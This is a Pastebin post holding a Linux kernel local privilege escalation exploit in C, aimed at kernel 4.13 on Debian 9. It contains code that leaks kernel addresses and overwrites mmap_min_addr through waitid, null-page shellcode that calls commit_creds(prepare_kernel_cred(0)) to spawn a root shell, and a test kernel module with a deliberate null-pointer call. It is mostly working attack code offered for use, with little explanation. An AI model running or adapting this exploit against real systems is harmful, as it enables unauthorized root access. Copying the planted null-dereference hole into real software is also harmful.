cdw1p

Linux Kernel 4.13 (Debian 9) - Local Privilege Escalation

Aug 15th, 2019
371
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 8.49 KB | None | 0 0
  1. /** disable_map_min_add.c **/
  2. /*
  3.  *
  4.  */
  5.  
  6. #include <stdio.h>
  7. #include <sys/types.h>
  8. #include <sys/wait.h>
  9. #include <unistd.h>
  10. #include <stdlib.h>
  11. #include <sys/resource.h>
  12. #include <syscall.h>
  13.  
  14. /* offsets might differ, kernel was custom compiled
  15.  * you can read vmlinux and caculate the offset when testing
  16.  */
  17.  
  18. /*
  19. #define OFFSET_KERNEL_BASE 0x000000
  20.  */
  21. #define MMAP_MIN_ADDR 0x1101de8
  22. #define DAC_MMAP_MIN_ADDR 0xe8e810
  23.  
  24. /* get kernel functions address by reading /proc/kallsyms */
  25. unsigned long get_kernel_sym(char *name)
  26. {
  27.   FILE *f;
  28.   unsigned long addr;
  29.   char dummy;
  30.   char sname[256];
  31.   int ret = 0;
  32.  
  33.   f = fopen("/proc/kallsyms", "r");
  34.   if (f == NULL) {
  35.     printf("[-] Failed to open /proc/kallsyms\n");
  36.     exit(-1);
  37.   }
  38.   printf("[+] Find %s...\n", name);
  39.   while(ret != EOF) {
  40.     ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
  41.     if (ret == 0) {
  42.       fscanf(f, "%s\n", sname);
  43.       continue;
  44.     }
  45.     if (!strcmp(name, sname)) {
  46.       fclose(f);
  47.       printf("[+] Found %s at %lx\n", name, addr);
  48.       return addr;
  49.     }
  50.   }
  51.   fclose(f);
  52.   return 0;
  53. }
  54.  
  55. int main(void)
  56. {
  57.   int pid, pid2, pid3;
  58.   struct rusage rusage = { };
  59.   unsigned long *p, *kernel_base;
  60.   char *mmap_min_addr, *dac_mmap_min_addr;
  61.   pid = fork();
  62.   if (pid > 0) {
  63.     /* try to bypass kaslr when /proc/kallsyms isn't readable */
  64.     syscall(__NR_waitid, P_PID, pid, NULL, WEXITED|WNOHANG|__WNOTHREAD, &rusage);
  65.     printf("[+] Leak size=%d bytes\n", sizeof(rusage));
  66.     for (p = (unsigned long *)&rusage;
  67.      p < (unsigned long *)((char *)&rusage + sizeof(rusage));
  68.      p++) {
  69.       printf("[+] Leak point: %p\n", p);
  70.       if (*p > 0xffffffff00000000 && *p < 0xffffffffff000000) {
  71.     p = (unsigned long *)(*p&0xffffffffff000000 /*+ OFFSET_TO_BASE*/); // spender's wouldn't actually work when KASLR was enabled
  72.     break;
  73.       }
  74.     }
  75.     if(p < (unsigned long *)0xffffffff00000000 || p > (unsigned long *)0xffffffffff000000)
  76.       exit(-1);
  77.   } else if (pid == 0) {
  78.     sleep(1);
  79.     exit(0);
  80.   }
  81.  
  82.   kernel_base = get_kernel_sym("startup_64");
  83.   printf("[+] Got kernel base: %p\n", kernel_base);
  84.   mmap_min_addr = (char *)kernel_base + MMAP_MIN_ADDR;
  85.   printf("[+] Got mmap_min_addr: %p\n", mmap_min_addr);
  86.   dac_mmap_min_addr = (char *)kernel_base + DAC_MMAP_MIN_ADDR;
  87.   printf("[+] Got dac_mmap_min_addr: %p\n", dac_mmap_min_addr);
  88.  
  89.   pid2 = fork();
  90.   if (pid2 > 0) {
  91.     printf("[+] Overwriting map_min_addr...\n");
  92.     if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) {
  93.       printf("[-] Failed!\n");
  94.       exit(1);
  95.     }
  96.   } else if (pid2 == 0) {
  97.     sleep(1);
  98.     exit(0);
  99.   }
  100.  
  101.   pid3 = fork();
  102.   if (pid3 > 0) {
  103.     printf("[+] Overwriting dac_mmap_min_addr...\n");
  104.     if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(dac_mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) {
  105.       printf("[-] Failed!\n");
  106.       exit(1);
  107.     }
  108.     printf("[+] map_min_addr disabled!\n");
  109.     exit(0);
  110.   } else if (pid3 == 0) {
  111.     sleep(1);
  112.     exit(0);
  113.   }
  114.   return 0;
  115. }
  116. /** disable_map_min_add.c EOF **/
  117.  
  118. /** null_poiter_exploit.c **/
  119.  
  120. #define _GNU_SOURCE
  121.  
  122. #include <stdio.h>
  123. #include <stdlib.h>
  124. #include <unistd.h>
  125. #include <sys/types.h>
  126. #include <sys/wait.h>
  127. #include <sys/mman.h>
  128. #include <string.h>
  129. #include <unistd.h>
  130. #include <unistd.h>
  131. #include <fcntl.h>
  132.  
  133. struct cred;
  134. struct task_struct;
  135.  
  136. typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
  137. typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
  138.  
  139. prepare_kernel_cred_t   prepare_kernel_cred;
  140. commit_creds_t    commit_creds;
  141.  
  142. /* a kernel null pointer derefence will help get privilege
  143.  * /proc/test is a kernel-load module create for testing
  144.  * touch_null_kp can be replace your own implement to
  145.  * touch a kernel null ponit
  146.  */
  147. void touch_null_kp()  {
  148.     printf("[+]Start touch kernel null point\n");
  149.  
  150.     int *f = open("/proc/test", O_RDONLY);
  151.     read(f, NULL, 0);
  152. }
  153.  
  154. /* run shell after root */
  155. void get_shell() {
  156.   char *argv[] = {"/bin/sh", NULL};
  157.  
  158.   if (getuid() == 0){
  159.     printf("[+] Root shell success !! :)\n");
  160.     execve("/bin/sh", argv, NULL);
  161.   }
  162.   printf("[-] failed to get root shell :(\n");
  163. }
  164.  
  165. /* use for privilige escalation */
  166. void get_root() {
  167.     commit_creds(prepare_kernel_cred(0));
  168. }
  169.  
  170. /* get function address by reading /proc/kallsyms */
  171. unsigned long get_kernel_sym(char *name)
  172. {
  173.   FILE *f;
  174.   unsigned long addr;
  175.   char dummy;
  176.   char sname[256];
  177.   int ret = 0;
  178.  
  179.   f = fopen("/proc/kallsyms", "r");
  180.   if (f == NULL) {
  181.     printf("[-] Failed to open /proc/kallsyms\n");
  182.     exit(-1);
  183.   }
  184.   printf("[+] Find %s...\n", name);
  185.   while(ret != EOF) {
  186.     ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
  187.     if (ret == 0) {
  188.       fscanf(f, "%s\n", sname);
  189.       continue;
  190.     }
  191.     if (!strcmp(name, sname)) {
  192.       fclose(f);
  193.       printf("[+] Found %s at %lx\n", name, addr);
  194.       return addr;
  195.     }
  196.   }
  197.   fclose(f);
  198.   return 0;
  199. }
  200.  
  201. int main(int ac, char **av)
  202. {
  203.  
  204.   /* get function address */
  205.   prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
  206.   commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
  207.   printf("Got commit_creds:%p,prepare_kernel_cred%p\n", commit_creds, prepare_kernel_cred);
  208.  
  209.   /* allocate memory loacate in 0x00 */
  210.   printf("[+] Try to allocat 0x00000000...\n");
  211.   if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
  212.     printf("[-] Failed to allocat 0x00000000\n");
  213.     return -1;
  214.   }
  215.   printf("[+] Allocation success !\n");
  216.   /* memset(0, 0xcc, 4096); */
  217.   /*
  218.     //movq rax, 0xffffffff81f3f45a
  219.     //movq [rax], 0
  220.     // it is not nessecc
  221.     mov rax, 0x4242424242424242
  222.     call rax
  223.     xor rax, rax
  224.     ret
  225.     replace 0x4242424242424242 by get_root
  226.     https://defuse.ca/online-x86-assembler.htm#disassembly
  227.      */
  228.  
  229.   unsigned char shellcode[] =
  230.     { /*0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, *//*0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00,*/ 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 };
  231.   /* insert the getroot address to shellcode */
  232.   void **get_root_offset = rawmemchr(shellcode, 0x42);
  233.   (*get_root_offset) = get_root;
  234.   /* map shellcode to 0x00 */
  235.   memcpy(0, shellcode, sizeof(shellcode));
  236.  
  237.   /* jmp to 0x00 */
  238.   touch_null_kp();
  239.  
  240.   get_shell();
  241.  
  242. }
  243.  
  244. /** null_poiter_exploit.c EOF **/
  245.  
  246. /** test.c **/
  247. #include <linux/init.h>
  248. #include <linux/module.h>
  249. #include <linux/proc_fs.h>
  250. #include <linux/uaccess.h>
  251. #include <linux/slab.h>
  252. #include <asm/ptrace.h>
  253. #include <asm/thread_info.h>
  254.  
  255. #define MY_DEV_NAME "test"
  256. #define DEBUG_FLAG "PROC_DEV"
  257.  
  258. extern unsigned long proc_test_sp_print;
  259. static ssize_t proc_read (struct file *proc_file, char __user *proc_user, size_t n, loff_t *loff);
  260. static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff);
  261. static int proc_open (struct inode *proc_inode, struct file *proc_file);
  262. static struct file_operations a = {
  263.                                 .open = proc_open,
  264.                                 .read = proc_read,
  265.                                 .write = proc_write,
  266. };
  267.  
  268.  
  269. static int __init mod_init(void)
  270. {
  271.     struct proc_dir_entry *test_entry;
  272.     const struct file_operations *proc_fops = &a;
  273.     printk(DEBUG_FLAG":proc init start\n");
  274.  
  275.     test_entry = proc_create(MY_DEV_NAME, S_IRUGO|S_IWUGO, NULL, proc_fops);
  276.     if(!test_entry)
  277.        printk(DEBUG_FLAG":there is somethings wrong!\n");
  278.  
  279.     printk(DEBUG_FLAG":proc init over!\n");
  280.     return 0;
  281. }
  282.  
  283. static ssize_t proc_read (struct file *proc_file, char *proc_user, size_t n, loff_t *loff)
  284. {
  285.     void (*fun)(void);
  286.     fun = NULL;
  287.     //printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack);
  288.     fun();
  289.     //printk("The memory of %p : %d\n", proc_user, *proc_user);
  290.     return 0;
  291. }
  292.  
  293. static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff)
  294. {
  295.     printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack);
  296.     return 0;
  297. }
  298.  
  299. int proc_open (struct inode *proc_inode, struct file *proc_file)
  300. {
  301.     printk(DEBUG_FLAG":into open, cmdline:%s!\n", current->comm);
  302.     printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack);
  303.     return 0;
  304. }
  305.  
  306. module_init(mod_init);
  307. /** test.c EOF **/
Add Comment
Please, Sign In to add comment